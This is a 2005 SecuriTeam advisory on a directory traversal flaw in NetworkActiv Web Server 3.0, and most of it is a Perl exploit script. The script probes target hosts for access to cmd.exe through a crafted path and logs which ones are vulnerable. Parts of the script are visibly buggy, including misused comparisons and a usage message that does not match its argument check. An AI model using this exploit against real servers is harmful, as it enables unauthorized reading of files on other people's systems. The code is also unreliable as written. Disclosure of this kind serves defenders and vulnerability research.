[NT] NetworkActiv Web Server Directory Traversal

From: SecuriTeam (support_at_securiteam.com)
Date: 08/18/05

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Date: 18 Aug 2005 16:59:19 +0200

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      NetworkActiv Web Server Directory Traversal
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.networkactiv.com/Products.html> NetworkActiv Web Server is a:
    "Very easy to use Windows based Web Server (HTTP Daemon) with a graphical
    user interface." NetworkActiv Web Server is affected by an access
    validation error that allows a malicious user to view and download
    arbitrary files.

    DETAILS

    Vulnerable Systems:
     * NetworkActiv Web Server version 3.0

    An attacker can arbitrary files by using the the following URL:
    http://[host]/All%20Disk%20Drives/c:

    Exploit Code:
    #!/usr/local/bin/perl
    #
    # NetworkActiv Directory Execution Exploit
    # ----------------------------------------
    # Infam0us Gr0up - Securiti Research
    #
    #
    # [+] Connect to localhost..wait
    # [+] Connected
    # [+] Now Scanning localhost..
    # [+] Found: /All%20Disk%20Drives/C:/winnt/system32/cmd.exe
    #
    # Tested on Windows2000 SP4 (Win NT)
    # Info: infamous.2hell.com
    #

    $ARGC=@ARGV;
    if ($ARGC !=2) {
        
        print " NetworkActiv Directory Execution Exploit\n";
        print "-------------------------------------------\n\n";
        print "Usage: $0 [remote IP]\n";
        print "Exam: $0 127.0.0.1\n";
        exit;
    }

    use Socket;

    $www = $ARGV[0];
    $port = $ARGV[1];
    $timeout = 2;
    $agent = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040506
    ";

    print "[+] Connect to $www..wait\n";

    if (-e "$www") {
      open(T, "$www") || die "[-] Invalid address $www\n";
      @target = <T>;
      close(T);
    }

    else { @target[0] = $www; }

    @scripts = ("All%20Disk%20Drives");
    open(LOG, ">>$www.log") || die "[-] couldn't open a file for writing
    log\n";

    foreach $script (@scripts) {
      $get = "GET /$script/c:/winnt/system32/cmd.exe HTTP/1.0 \n$agent\n";
      $vuln = "/All%20Disk%20Drives/C:/winnt/system32/cmd.exe ";
      foreach $site (@target) {
        unless(fork()) {
          chop($site) if $site =~ /\n$/; &connect($site);
        }
      }
    }

    sub connect {
    my ($ste) = @_;
    $iaddr = inet_aton($ste) || die "[-] $ste doesn't seem exist....\n";
    $paddr = sockaddr_in($port, $iaddr);
    $proto = getprotobyname('tcp');
    socket(SCAN, PF_INET, SOCK_STREAM, $proto) || die("Error: couldn't create
    socket ");
    connect(SCAN, $paddr) || die "[-] Couldn't connect to $ste...\n";

    print "[+] Connected\n";
    sleep(1);
    print "[+] Now Scanning $www..\n";
    sleep(2);
    send(SCAN, $get, 0);

    $blackout = <SCAN>;
    ($http,$code,$www) == split(/ /, $blackout);
    if ($code == "HTTP/1.1 200 OK") {
    print "[+] Found: $vuln \n";
    print LOG "Scanning $ste: $vuln [Vulnerable]\n";
      }
      else
    {
    print "[-] Failed: $www cause protected!\n"; }
    close(SCAN);
    exit(0);
    }
    close(LOG);
    exit;

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:basher13@linuxmail.org>
    basher13.
    The original article can be found at:
    <http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=81> http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=81

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